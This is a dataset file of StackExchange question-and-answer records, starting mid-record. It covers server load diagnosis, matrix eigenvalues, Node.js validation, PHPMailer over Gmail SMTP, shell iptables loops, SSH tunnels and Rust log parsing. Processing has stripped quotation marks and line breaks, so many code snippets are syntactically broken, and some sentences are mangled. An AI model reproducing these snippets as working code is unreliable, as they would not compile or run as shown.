%iowait  %steal   %idle           6.75    0.03   13.14    0.02    0.00   80.06Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %utilsda               0.27   132.84    1.38   37.44    17.17  1371.08    71.52     0.42   10.77   0.69   2.67sdb               0.05    38.16    0.51   29.32    12.26   273.27    19.14     0.19    6.32   0.32   0.94iostat doesn't show any excessive usage of the ssdrunning iftop doesn't seem show the net to be the bottle neck.Something is running on system but what?On my other server some suggestYour server has a high load because of how you have Apache configured,  as each new php access opens a new process.I enable Apache keepalive for this vhost and it seems to be a lowering  the load.I wonder where I can learn more about it.Here is some info on the 16 core cpuroot@host [~]# grep -E '^model name|^cpu MHz' /proc/cpuinfomodel name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 1400.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000model name      : AMD Opteron(TM) Processor 6272cpu MHz         : 2100.000"  , "title": "My load is high. Top is strange. IOStats show low load"  , "tags": "load"  } 
{  "id": "_scicomp.10718"  , "question": "Suppose I have a symmetric matrix $A_{1000\\times 1000}$, which can be represented by:$A = J G J^T$where $J$ in 1000x3 is full column rank dense matrix; $G$ in 3x3 is a nonsingular dense matrix.What is the fastest way to obtain ONLY the maximum eigenvalue of $A$?I know that the eigenvalue problem of symmetric matrix can be faster than that of general dense matrix, but can the following features of the problem make it even faster ?only the maximum eigenvalue of $A$ is needed;$A = J G J^T$, rank($A$) = 3, and $A$ has only 3 nonzero eigenvaluesCan $LDL^T$ decomposition work any good? I would prefer to implement it via Eigen C++.Does $B=J^TJG$ has the same nonzero eigenvalues as $A$?"  , "title": "What is the most efficient way to obtain the max eigenvalue of a specific symmetric matrix via Eigen C++"  , "tags": "c++;matrix;eigenvalues;eigen;symmetry"  , "accepted_answer": "We have the matrix $A$ that can be expressed as$A = JGJ^T$.The first thing is to calculate the QR decomposition of matrix $J$. Because of the low rank of the matrix it can be done very fast with, for instance, modified Gram Schmidt algorithm. Now we can write $A$ as$A = QR G R^TQ^T$,where $Q$ is an orthonormal matrix ($Q^T Q = I$). We define $F$ as follows$F = R G R^T$,where $F$ is a $3\\times3$ matrix. here the eigenvalues of $F$ will be the same than the ones of your original matrix $A$. But you probably want to calculate also the eigenvectors of $A$, so we continue.Calculate the eigen decomposition of $F$:$F = XDX^T$,where $D$ is a diagonal matrix, and $X$ is orthonormal ($X^T X = I$). Then, inserting that expression for $F$ in the formula for $A$ we obtain$A = QXDX^TQ^T$,that can be rewritten as$A = YDY^T$,.So $Y = QX$ is a orthonormal matrix whose columns are the eigenvectors of $A$, and $D$ is the diagonal matrix with the eigenvalues of $A$. It is unique except for the ordering of the columns of $Y$ and $D$."  } 
{  "id": "_codereview.111760"  , "question": "I come from a PHP object oriented framework background (Laravel, Symfony, Silex...). With that, validation comes in pre-built classes mechanism in a framework that validates for you parameters that you define and validates against. If it fails validation, you don't proceed.Example from Laravel: public function store(Request $request)    {        $validator = Validator::make($request->all(), [            'title' => 'required|unique:posts|max:255',            'body' => 'required',        ]);        if ($validator->fails()) {            return redirect('post/create')                        ->withErrors($validator)                        ->withInput();        }        // Store the blog post...    }Here, we define that it is required, max 255 for title. It is easy to read.Symfony is a bit more elaborate but still easy to read due to easily predefined class:public static function loadValidatorMetadata(ClassMetadata $metadata){    $metadata->addPropertyConstraint('firstName', new Assert\\NotBlank());    $metadata->addPropertyConstraint(        'firstName',        new Assert\\Length(array(min => 3))    );}I'm starting to dive into node.js with express.js as base to create an API (I'm aware that Restify and Loopback exist). Currently I have one end point, which I would like to validate a hash token to identify the client, and then inspect that the stored key/value pair matches. The storage is from redis, the following is the code:/** * Check if the hash is in redis * @function CheckParam * @param {object} req - json object with the data that will be inserted in queries * @param cb - callback * @callback {object} status code */http.checkParam = function CheckParam(req, cb) {    if (typeof req.body.data !== 'undefined' && req.body.data && typeof req.query.hash !== 'undefined'        && req.query.hash && typeof req.body.id !== 'undefined' && req.body.id) {        if (typeof req.body.data !== 'object' && typeof req.query.hash !== 'string' && typeof req.body.id !== 'number') {            log.error({part: 'save'}, 'Wrong parameters type');            cb(403);        } else {            redis.get(req.query.hash, function (err, data) {                if (err) {                    log.error({part: 'save'}, 'Error from redis \\n ' + err);                    cb(403);                } else if (!data) {                    log.error({part: 'save'}, 'Token not found \\n ' + req.query.hash);                    cb(403);                } else {                    try {                        var obj = JSON.parse(data);                        if (obj.member.id == req.body.id) {                            cb(200);                        } else {                            log.error({part: 'save'}, 'Wrong user id ' + req.body.id);                            cb(403);                        }                    } catch (e) {                        log.error({part: 'save'}, 'Error from redis \\n ' + e);                        cb(403);                    }                }            });        }    } else {        log.error({part: 'save'}, 'Connection refused');        cb(403);    }};Is there a more elegant way to validate parameters received from client similar to the above syntax from PHP but in node.js. I reverted to basic if && in order to check 2 simple parameter, but as you can see, it is extensive."  , "title": "API to verify whether a Redis entry exists"  , "tags": "javascript;beginner;node.js;express.js;redis"  } 
{  "id": "_webmaster.103330"  , "question": "My client is using godaddy to host a php site, and has recently signed up for google apps account for email, hoping it will help stop his automated emails from getting rejected as spam. The code sends emails using the phpmailer class. What changes do I need to make so that the email will be sent out through google instead of through godaddy? Is it a code change? Or do I need to set up mx records somewhere? How can I tell which server is actually sending the email"  , "title": "how can i send email in php through google apps"  , "tags": "php;email;godaddy;google apps"  , "accepted_answer": "MX Record will not automatically send email from your server. You need to make some CODE change. Check this answer if you want to do it with PHPMailer.$mail = new PHPMailer;// Tell PHPMailer to use SMTP$mail->isSMTP();// Enable SMTP debugging// 0 = off (for production use)// 1 = client messages// 2 = client and server messages$mail->SMTPDebug = 2;// Ask for HTML-friendly debug output$mail->Debugoutput = 'html';// Set the hostname of the mail server$mail->Host = 'smtp.gmail.com';// use// $mail->Host = gethostbyname('smtp.gmail.com');// if your network does not support SMTP over IPv6// Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission$mail->Port = 587;// Set the encryption system to use - ssl (deprecated) or tls$mail->SMTPSecure = 'tls';// Whether to use SMTP authentication$mail->SMTPAuth = true;// Username to use for SMTP authentication - use full email address for gmail$mail->Username = username@gmail.com;// Password to use for SMTP authentication$mail->Password = yourpassword;However, that solution has some problems of its own. The best way is to properly setup your mail server using DKIM and other settings, so that your emails don't go to spam."  } 
{  "id": "_cstheory.32202"  , "question": "The Borsuk-Ulam theorem says that for every continuous odd function $g$ from an n-sphere into Euclidean n-space, there is a point $x_0$ such that $g(x_0)=0$. Simmons and Su (2002) describe a method to approximate the point $x_0$ using Tucker's lemma. However, it is not clear what the run-time complexity of their method is.Suppose we are given an oracle for the function $g$ and an approximation factor $\\epsilon>0$. What is the run-time complexity (as a function of $n$) of:Finding a point $x$ such $|g(x)|<\\epsilon$?Finding a point $x$ such that the $|x-x_0|<\\epsilon$, when $x_0$ is a point satisfying $g(x_0)=0$?"  , "title": "The complexity of finding a Borsuk-Ulam point"  , "tags": "approximation algorithms;time complexity;topology;algebraic topology"  , "accepted_answer": "Papadimitriou showed that a version of this problem is PPAD-complete in the paper introducing that class, On the complexity of the parity argument and other inefficient proofs of existence.His formulation of the problem is:Borsuk-Ulam. Given an integer n and a Turing machine computing for each  point $P=(x_1,\\dots,x_d)$ with $-n\\leq x_i\\leq n$ and $\\max_{|x_i|}=n$ (the surface of the $L_1$ sphere), a function $f(p)$ with $f(p) \\leq \\frac{1}{Kn}$. Find an $x$ with $|f(x) - f( - x)| \\leq \\frac{1}{n^2}$.(Sidenote -- many times when you see a fixed-point type of theorem, PPAD is a good guess for the complexity of finding it...)"  } 
{  "id": "_unix.175971"  , "question": "I'm testing GNOME 3.14 on Wayland on ArchLinux and I would also like to test GTK+ on Wayland.To do so, I can set the following two env variables from terminalexport GDK_BACKEND=wayland CLUTTER_BACKEND=waylandanf then run my app (i.e. nautilus) from terminal too.However I would like to set this session-wide so that I don't have to launch my apps from terminal.I think I cannot set them on .bashrc because they will break my standard GNOME on X session.So where is the proper place to set those variables for GNOME on Wayland session ONLY? "  , "title": "Setting environment variables for Gnome on Wayland session only"  , "tags": "bash;gnome;gtk;wayland"  , "accepted_answer": "I have found a way to do this.Create (if necessary) a ~/.profile file and add the following:WAY=$(ps -aux | head -n -1 | grep /usr/bin/gnome-shell --wayland)if [ -z $WAY ]; then    echo X11else    export GDK_BACKEND=wayland    export CLUTTER_BACKEND=waylandfiLogout and then login in your favorite session (either X or Wayland).By using looking glass you can check if your application is actually running on Wayland. See this."  } 
{  "id": "_unix.346913"  , "question": "I'm writing some iptables scripts, and I want to write a function that takes an arbitrary number of parameters and consumes them two at a time. Here's an example:#!/bin/sh# Allow inbound sessions for a specific serviceiptables --append INPUT --protocol $PROTO --destination-port $PORT \\   --match state --state NEW --jump ACCEPT || exit 1I found this thread that shows the right syntax for looping through an arbitrary number of arguments, but I don't know how to grab two arguments in each iteration. How do I get both $PROTO and $PORT from the caller (from $@, two args at a time)?"  , "title": "Shell function that consumes two arguments per loop iteration"  , "tags": "shell;arguments"  , "accepted_answer": "You could do:#! /bin/sh -while [ $# -ge 2 ]; do  proto=$1 port=$2  shift 2  iptables --append INPUT --protocol $proto --destination-port $port \\    --match state --state NEW --jump ACCEPT || exit 1doneWith zsh:#! /bin/zsh -for proto port do  iptables --append INPUT --protocol $proto --destination-port $port \\    --match state --state NEW --jump ACCEPT || exit 1doneOne difference is that if there's an odd number of argument, there will be an extra run with $proto containing the last argument and $port being set but empty (as if we had used [ $# -gt 0 ] instead of [ $# -ge 2 ] in the previous example)."  } 
{  "id": "_softwareengineering.191045"  , "question": "Over the course of some months I've created a little framework for game development that I currently include in all of my projects. The framework depends on SFML, LUA, JSONcpp, and other libraries. It deals with audio, graphics, networking, threading; it has some useful file system utilities and LUA wrapping capabilities. Also, it has many useful random utility methods, such as string parsing helpers and math utils.Most of my projects use all of these features, but not all of them:I have an automatic updater that only makes use of the file system and networking featuresI have a game with no networking capabilitiesI have a project that doesn't need JSONcppI have a project that only needs those string/math utilsThis means that I have to include the SFML/LUA/JSON shared libraries in every project, even if they aren't used. The projects (uncompressed) have a minimum of 10MB in size this way, most of which is unused.The alternative would be splitting the framework in many smaller libraries, which I think would be much more effective and elegant, but would also have the cost of having to maintain more DLL files and projects.I would have to split my framework in a lot of smaller libraries: GraphicsThreadingNetworkingFile systemSmaller utilsJSONcpp utilsLUA utilsIs this the best solution?"  , "title": "Few big libraries or many small libraries?"  , "tags": "libraries;game development;workflows;dependencies;utilities"  , "accepted_answer": "I'd personally go for many small libraries.Discourages developers from creating dependencies between otherwise unrelated packages.Smaller more manageable libraries that are much more focused.Easier to break up and have separate teams manage each library.Once you have a new requirement that's sufficiently complex, its better to add a new module rather than find an existing library to shove the new code in. Small libraries encouragethis pattern."  } 
{  "id": "_softwareengineering.184705"  , "question": "I'll preface this question by saying that I am very new to professional software dev.I work on a team that takes data in from other groups in my company and turns this data into reports usable by business execs. In the process of transferring and parsing data we have some SQL statements that do a lot of processing of the data. Nearly every SELECT uses TRIM, SUBSTR, CAST etc extensively to reduce fields to the proper size and format. Additionally there are a lot of special cases that are accounted for by using CASE statements within SELECT's. The Teradata server software that we use emits remarkably cryptic error messages. As a result we do a lot of guesswork about what data is breaking which SQL statement.My question is: would it be a good idea to reduce these somewhat complex SQL statements to a less complex form that omits the processing and special case handling, and instead do this work in an external script or program? Does this make any sense?"  , "title": "Good idea to move logic out of SQL statements?"  , "tags": "sql;complexity"  , "accepted_answer": "A big advantage of moving the processing code out of your SQL is that your SQL becomes much simpler to manage.A disadvantage is that if you ever want to use those queries in some other program, you now have to make your result-processing processes available to the other program. It could be as simple as copying a library file that contains the necessary classes, but it still means that any changes to the library have to propagated and all clients rebuilt with the new library.Another option: Why not use a view (or multiple views if you need differently formatted results for different clients) to contain most of the formatting code? That way you can get the raw query results, or the nicely formatted one, depending on what you need."  } 
{  "id": "_unix.50180"  , "question": "I have installed vnuml and bridge-utils on my machine, but am unable to run the brctl command on the xterm terminals that popup after building the simulation. I get a 'command not found' error. I am, however, able to run the brctl command on my host machine's terminal, so the package is there, only the virtual nodes created are not able to access it.What needs to be done to make the 'brctl' command available to each of the UML terminals?"  , "title": "VNUML - 'brctl' command doesn't work in xterms"  , "tags": "xterm"  } 
{  "id": "_unix.358768"  , "question": "I am sshing to a system and rebooting it in a while loop, however the ssh session does not close so the the script is just hanging after the first reboot. I have tried various ways to close it, any idea? I never get to the echo test.#!/bin/bashwhile truedoecho Executing SSH session to 192.168.1.1...sshpass -p pass ssh -o StrictHostKeyChecking=no root@192.168.1.1 << ! ./reset.sh ! echo testsleep 20donereset.sh#! /bin/shif [  -e /dev/ttyUSB2 ]  && [  -e /dev/ttyUSB5 ]; then {reboot -f}fi"  , "title": "ssh session not closing in bash script"  , "tags": "bash;ssh"  , "accepted_answer": "What can be happing is the remote session being lost as you are asking for a reboot, and so the system will hang some time waiting for the remote system to answer.I would introduce before that sshpass a timeout command, like timeout or timelimit as in:timeout 10s sshpass ...As for ssh services, try to avoid using passwords, and instead use RSA certificate authentication. Not sure about that particular sshpass command, but often, if the binary being called does not takes precautions, the password can be seen with ps when used in the command line."  } 
{  "id": "_unix.146848"  , "question": "The information below seems misleading. I am confused with the example they give that if you lose dpkg (the program that lets you handle .deb files) you can use the other commands ar, tar, and gzip commands to download the .deb file for dpkg itself?If this is true, what is so special about dpkg that is not available with the other commands?As a Debian system administrator, you will routinely handle .deb  packages, since they contain consistent functional units  (applications, documentation, etc.), whose installation and  maintenance they facilitate. It is therefore a good idea to know what  they are and how to use them. This chapter describes the structure and  contents of binary and source packages. The former are .deb files,  directly usable by dpkg, while the latter contain the source code, as  well as instructions for building binary packages. From: http://debian-handbook.info/browse/wheezy/packaging-system.html5.1. Structure of a Binary Package The Debian package format is designed so that its content may be extracted on any Unix system that  has the classic commands ar, tar, and gzip (sometimes xz or bzip2).  This seemingly trivial property is important for portability and  disaster recovery. Imagine, for example, that you mistakenly deleted  the dpkg program, and that you could thus no longer install Debian  packages. dpkg being a Debian package itself, it would seem your  system would be done for... Fortunately, you know the format of a  package and can therefore download the .deb file of the dpkg package  and install it manually (see the TOOLS sidebar). If by some  misfortune one or more of the programs ar, tar or gzip/xz/bzip2 have  disappeared, you will only need to copy the missing program from  another system (since each of these operates in a completely  autonomous manner, without dependencies, a simple copy will suffice)."  , "title": "How it is possible that dpkg isn't neccesary for installing deb packages?"  , "tags": "debian;dpkg;packaging;ar"  } 
{  "id": "_codereview.14442"  , "question": "For Project Euler problem 14 I wrote code that runs for longer than a minute to give the answer. After I studied about memoization, I wrote this code which runs for nearly 10 seconds on Cpython and nearly 3 seconds on PyPy. Can anyone suggest some optimization tips?import timed={}c=0def main():    global c    t=time.time()    for x in range(2,1000000):        c=0        do(x,x)    k=max(d.values())    for a,b in d.items():        if b==k:            print(a,b)            break    print(time.time()-t)def do(num,rnum):    global d    global c    c+=1    try:        c+=d[num]-1        d[rnum]=c        return    except:        if num==1:            d[rnum]=c            return        if num%2==0:            num=num/2            do(num,rnum)        else:            num=3*num+1            do(num,rnum)if __name__ == '__main__':    main()"  , "title": "Optimizing Code for Project Euler Problem 14"  , "tags": "python;optimization;project euler"  , "accepted_answer": "I think you're over complicating your solution, my approach would be something along these lines:def recursive_collatz(n):        if n in collatz_map:                return collatz_map[n]        if n % 2 == 0:                x = 1 + recursive_collatz(int(n/2))        else:                x = 1 + recursive_collatz(int(3*n+1))        collatz_map[n] = x        return xBasically define a memoization map (collatz_map), initialized to {1:1}, and use it to save each calculated value, if it's been seen before, simply return.Then you just have to iterate from 1 to 1000000 and store two values, the largest Collatz value you've seen so far, and the number that gave you that value.Something like:largest_so_far = 1highest = 0for i in range(1,1000000):    temp = recursive_collatz(i)    if temp > largest_so_far:        highest = i        largest_so_far = tempUsing this approach I got:Problem 14's answer is: 837799.Took 1.70620799065 seconds to calculate."  } 
{  "id": "_unix.198270"  , "question": "I want to tunnel VNC traffic to host2, which is only accessible from host1, whereas host1 is publicly accessible.I setup a multi-hop SSH tunnel as described in this question, using:ssh -L 5901:localhost:6000 host1 ssh -L 6000:localhost:5901 -N host2This indeed works perfectly and does the job. However, I don't know how to correctly close the nested tunnel. I tried Ctrl+c but this seems to kill the first ssh instance to host1. But, the second ssh tunnel between host1 and host2 remains open, which is highly undesirable as any one can actually forward traffic through it.Also, with -N option, I don't get an actual tty on host2, so I can't simply exit from there.Without, -N, I still don't get a tty, instead I get the following error:Pseudo-terminal will not be allocated because stdin is not a terminal.Warning: no access to tty (Bad file descriptor).Thus no job control in this shell.term: Undefined variable.I am starting the connection from MacOS X, and both host1 and host2 are running RHEL 6."  , "title": "Correctly closing multiple hop SSH tunnel"  , "tags": "ssh;rhel;ssh tunneling"  , "accepted_answer": "You're on the right track with tty, and the -t option gives you just that. However, unless you are actually aiming to get a tty session for interacting, leave this option off of the last ssh command in your chain. In your case you just need it on the first connection:ssh -L 5901:localhost:6000 host1 -t ssh -L 6000:localhost:5901 -N host2Now when you use Ctrl-C, the tunnel will between all hosts."  } 
{  "id": "_codereview.146671"  , "question": "I have a small project to help me analyze query latency from PostgreSQL statement logging.It's my first time writing anything real in Rust and I think it could be improved in several ways. My question here is about this code from scanner.rs:use std::hash::{Hash, SipHasher, Hasher};use regex::Regex;use std::collections::HashMap;use std::string::String;use std;use csv::Writer;pub enum CrunchState {    Scanning(HashMap<i32,String>, Writer<std::io::Stdout>),    CurrentQuery(Vec<String>, i32, HashMap<i32,String>, Writer<std::io::Stdout>)}enum MatchResult {    Ignore,    QueryStart(i32, String),    Duration(i32, String)}lazy_static! {    static ref REGLS: Regex = Regex::new(r^2016).unwrap();    static ref REPID: Regex = Regex::new(r\\d{2,3}\\((\\d+)\\):).unwrap();    static ref REDURATION: Regex = Regex::new(rduration: ([0-9.]+) ms).unwrap();    static ref RESTATEMENT: Regex = Regex::new(r(?:execute.*|statement):(.*)).unwrap();}pub fn init_state() -> CrunchState {    let csv_writer: Writer<std::io::Stdout> = Writer::from_writer(std::io::stdout());    CrunchState::Scanning(HashMap::new(), csv_writer)}pub fn process_line(line:String, state:CrunchState) -> CrunchState {    match state {        CrunchState::Scanning(mut pid_to_query, mut csv_writer) => {            match analyze_line(line) {                MatchResult::Ignore => CrunchState::Scanning(pid_to_query, csv_writer),                MatchResult::QueryStart(pid, query_begin) => {                    let query_parts = vec![query_begin];                    CrunchState::CurrentQuery(query_parts, pid, pid_to_query, csv_writer)                },                MatchResult::Duration(pid, duration) => {                    match pid_to_query.remove(&pid) {                        Some(full_query) => {                            let mut hasher = SipHasher::new();                            full_query.hash(&mut hasher);                            let qhash = hasher.finish();                            let result = csv_writer.encode((pid, duration, qhash, &full_query));                            assert!(result.is_ok());                        },                        None => {                            // dangling duration                        }                    };                    CrunchState::Scanning(pid_to_query, csv_writer)                }            }        },        CrunchState::CurrentQuery(mut query_parts, pid, mut pid_to_query, csv_writer) => {            if !REGLS.is_match(&line) {                query_parts.push(line);                CrunchState::CurrentQuery(query_parts, pid, pid_to_query, csv_writer)            } else {                let full_query = query_parts.iter().fold(.to_string(), |acc, s| acc + s);                pid_to_query.insert(pid, full_query);                process_line(line, CrunchState::Scanning(pid_to_query, csv_writer))            }        }    }}fn analyze_line(line:String) -> MatchResult {    if REGLS.is_match(&line) {        match REPID.captures_iter(&line).nth(0) {            Some(cap) => {                let pid: &str = cap.at(1).unwrap();                if REDURATION.is_match(&line) {                    let duration: &str = REDURATION.captures_iter(&line).nth(0).unwrap().at(1).unwrap();                    MatchResult::Duration(pid.parse::<i32>().unwrap(), duration.to_string())                } else if RESTATEMENT.is_match(&line) {                    let statement: &str = RESTATEMENT.captures_iter(&line).nth(0).unwrap().at(1).unwrap();                    MatchResult::QueryStart(pid.parse::<i32>().unwrap(), statement.to_string())                } else {                    MatchResult::Ignore                }            },            None => {                MatchResult::Ignore            }        }    } else {        MatchResult::Ignore    }}For reference Cargo.toml:[package]name = pg_crunchversion = 0.1.0authors = [Joshua Barney <barney@whoop.com>][dependencies]regex = 0.1.80lazy_static = 0.2.1csv = 0.14.7Since you can put data into enums, I figured that would be a great way of building a little state machine.It runs and works correctly, but I'm worried about returning a new CrunchState enum for every call to process_line, especially when most lines should result in CrunchState::Ignore and not alter the state. What can I do better than this?"  , "title": "Enum as state for log parsing"  , "tags": "enum;rust"  , "accepted_answer": "The compiler warnings tell me that SipHasher has been deprecated; use DefaultHasher instead.Check out rustfmt. The code has issues with missing spaces after : and ,.Use lines on stdin instead of reimplementing it.main.rsextern crate pg_crunch;use std::io;use std::io::prelude::*;use pg_crunch::scanner::CrunchState;fn main() {    let mut state = CrunchState::new();    let stdin = io::stdin();    for line in stdin.lock().lines() {        match line {            Ok(line) => state = state.process_line(line),            Err(error) => println!(error: {}, error),        }    }}scanner.rsDon't use String; it's already imported. I'd probably prefer to import specific modules or types instead of referring to std.You can create methods on enums just like on structs. new and process_line really feel like methods to me.Accept a &str instead of a String unless you make use of the allocation. analyze_line is a good example.Create a tiny helper method for getting the hash.Consider glob-importing your enum into methods that deal with them heavily.Use if let when there's only one interesting match arm.Use collect to combine multiple strings from an iterator.Avoid Hungarian notation (where you encode the type of something into the name of the variable). The regexen don't need to be prefixed with RE.Don't provide explicit types unless you are required. : Writer<std::io::Stdout> is a good example.There's no need for the turbofish when the type is constrained by the struct you are putting the value in.Instead of assert!, call expect on the Result. This prints the error message and lets you add a bit more context.Try to avoid doing multiple regex calls for the same input. For example, calling is_match is redundant if you are also going to call captures_iter. You should be able to tell if it matched by the result of captures_iter.use std::hash::{Hash, Hasher};use std::collections::hash_map::DefaultHasher;use std::collections::HashMap;use std::io::{self, Stdout};use regex::Regex;use csv::Writer;pub enum CrunchState {    Scanning(HashMap<i32, String>, Writer<Stdout>),    CurrentQuery(Vec<String>, i32, HashMap<i32, String>, Writer<Stdout>),}fn one_shot_hash(full_query: &str) -> u64 {    let mut hasher = DefaultHasher::new();    full_query.hash(&mut hasher);    hasher.finish()}impl CrunchState {    pub fn new() -> CrunchState {        let csv_writer = Writer::from_writer(io::stdout());        CrunchState::Scanning(HashMap::new(), csv_writer)    }    pub fn process_line(self, line: String) -> CrunchState {        use self::CrunchState::*;        use self::MatchResult::*;        match self {            Scanning(mut pid_to_query, mut csv_writer) => {                match analyze_line(&line) {                    Ignore => Scanning(pid_to_query, csv_writer),                    QueryStart(pid, query_begin) => {                        let query_parts = vec![query_begin];                        CurrentQuery(query_parts, pid, pid_to_query, csv_writer)                    }                    Duration(pid, duration) => {                        if let Some(full_query) = pid_to_query.remove(&pid) {                            let query_hash = one_shot_hash(&full_query);                            let result = csv_writer.encode((pid, duration, query_hash, &full_query));                            result.expect(Unable to write result);                        }                        Scanning(pid_to_query, csv_writer)                    }                }            }            CurrentQuery(mut query_parts, pid, mut pid_to_query, csv_writer) => {                if !GLS.is_match(&line) {                    query_parts.push(line);                    CurrentQuery(query_parts, pid, pid_to_query, csv_writer)                } else {                    let full_query = query_parts.into_iter().collect();                    pid_to_query.insert(pid, full_query);                    Scanning(pid_to_query, csv_writer).process_line(line)                }            }        }    }}lazy_static! {    static ref GLS: Regex = Regex::new(r^2016).unwrap();    static ref PID: Regex = Regex::new(r\\d{2,3}\\((\\d+)\\):).unwrap();    static ref DURATION: Regex = Regex::new(rduration: ([0-9.]+) ms).unwrap();    static ref STATEMENT: Regex = Regex::new(r(?:execute.*|statement):(.*)).unwrap();}enum MatchResult {    Ignore,    QueryStart(i32, String),    Duration(i32, String),}fn analyze_line(line: &str) -> MatchResult {    use self::MatchResult::*;    if GLS.is_match(&line) {        match PID.captures_iter(&line).nth(0) {            Some(cap) => {                let pid = cap.at(1).unwrap();                if DURATION.is_match(&line) {                    let duration = DURATION.captures_iter(&line).nth(0).unwrap().at(1).unwrap();                    Duration(pid.parse().unwrap(), duration.to_string())                } else if STATEMENT.is_match(&line) {                    let statement = STATEMENT.captures_iter(&line).nth(0).unwrap().at(1).unwrap();                    QueryStart(pid.parse().unwrap(), statement.to_string())                } else {                    Ignore                }            }            None => Ignore,        }    } else {        Ignore    }}Am I correct in thinking that creating a new enum for every call to analyze_line is not something to worry about?It is not something that I would worry about, no. The biggest enum is a few bytes, but not many:Veci32HashMapWriterVec and HashMap are mostly on the heap and only have a few bytes for pointers and the like."  } 
{  "id": "_webapps.87840"  , "question": "I googled, but can't find a definitive answer.I have a 1k+ reputation as an eBay buyer.Now I want to try to get back some of the cash that I have sent by selling.If I do, will prospective buyers looking at my first sales listing see a reputation of 1k+ or zer0?"  , "title": "eBay - are buyer and seller reputation the same?"  , "tags": "ebay"  , "accepted_answer": "Yes, you have a single reputation score. So, your sales listing will show a 1k+ reputation score.HOWEVER, if someone clicks on your reputation score they can see the full breakdown:Feedback as a seller (under which it will state 0 Feedback received)Feedback as a buyerAll FeedbackFeedback left for othersAs well as the positive, neutral and negative feedback over the last 1, 6 and 12 months."  } 
{  "id": "_webmaster.68626"  , "question": "I know this question has been already asked here. I am trying to use a script in my localhost. The script contains .htm files and an .htaccess file with the following code to parse those .htm files as PHP.AddHandler application/x-httpd-php5 .htm .php .htmlNow this is not working at all and i get a blank web page whenever i run it from my localhost. i.e localhost/paystill_enterprise and it give me blank webpage.Now i have tried every solution i could find on internet like editing httpd.conf file etc. Here are some of the solutions i have tried.1- I have tried editing httdp.conf and have added the following code one by one <IfModule mime_module>  AddType application/x-httpd-php .php  AddType application/x-httpd-php .html  AddType application/x-httpd-php .htm  AddType application/x-httpd-php .txt </IfModule> <FilesMatch \\.html$>   ForceType application/x-httpd-php </FilesMatch> <FilesMatch \\.htm$>    ForceType application/x-httpd-php </FilesMatch>2- Tried adding these lines of code one by one in my .htaccess file AddType application/x-httpd-php .html .htm AddType application/x-httpd-php5 .html .htm RemoveHandler .html .htm AddType application/x-httpd-php .php .htm .htmlNo matter what i use, always get a blank page for localhost/paystill_enterprise.Note:Sometimes it also happens that when i type the address localhost/paystill_enterprise, the browsers asks me to save the file i.e the browser tries to download it.Any suggestions?"  , "title": "Wamp Server Not Parsing htm Files As PHP"  , "tags": "apache;apache2;wampserver;wamp"  } 
{  "id": "_unix.239351"  , "question": "I am trying to use lisp in linux but I can not get the listener to work.Using Eclipse's menu, in help -> install new software, I installed the dandelion plugin but every time I try to run lisp code, like (+ 1 2), something simple, I get the following errors:Error in background evaluationjava.net.ConnectException: Connection refusedError initialising connectionjava.net.ConnectException: Connection refusedStarting eval server failedCannot run program /home/michael/.eclipse/org.eclipse.platform_3.8_155965261/plugins/de.defmacro.dandelion.env.clisp.linux.x86_2.49.2/binary/environment_clisp_2.49.2: error=13, Permission deniedI have tried running the commandsudo chmod + /home/michael/.eclipse/org.eclipse.platform_3.8_155965261/plugins/de.defmacro.dandelion.env.clisp.linux.x86_2.49.2/binary/environment_clisp_2.49.2Yet I see no output, the terminal just goes to the next new line. I am running a 64bit ubuntu version 14. I am pretty new to all this but I would like to use linux as my main OS as it is quite convenient for school. If anyone has ideas please let me know!I went in and manually edited the files permission to allow anyone to read and write. I now only get the errors.Error in background evaluationjava.net.ConnectException: Connection refusedError initialising connectionjava.net.ConnectException: Connection refusedIdeas?"  , "title": "Dandelion List Listener Fails"  , "tags": "linux;chmod;eclipse"  } 
{  "id": "_codereview.15617"  , "question": "I have the following code:    public string GetRefStat(string pk) {        return RefStat[pk.Substring(2, 2)];    }    private readonly Dictionary<String, int> RefStat =    new Dictionary<string, int>     {        {00, REF.MenuType,       } // Menu        {01, REF.ReferenceStatus,} // Article        {02, REF.ReferenceStatus,} // Favorites List        {03, REF.ReferenceStatus,} // Content Block        {06, REF.ReferenceStatus } // Topic    };GetRefStat and the dictionary are always used together. Is there a way I could simplify and combine these? I was wondering if I could put the information in a static class and then have a get method that returned the information I needed. "  , "title": "Simplifying dictionary of constant values"  , "tags": "c#"  } 
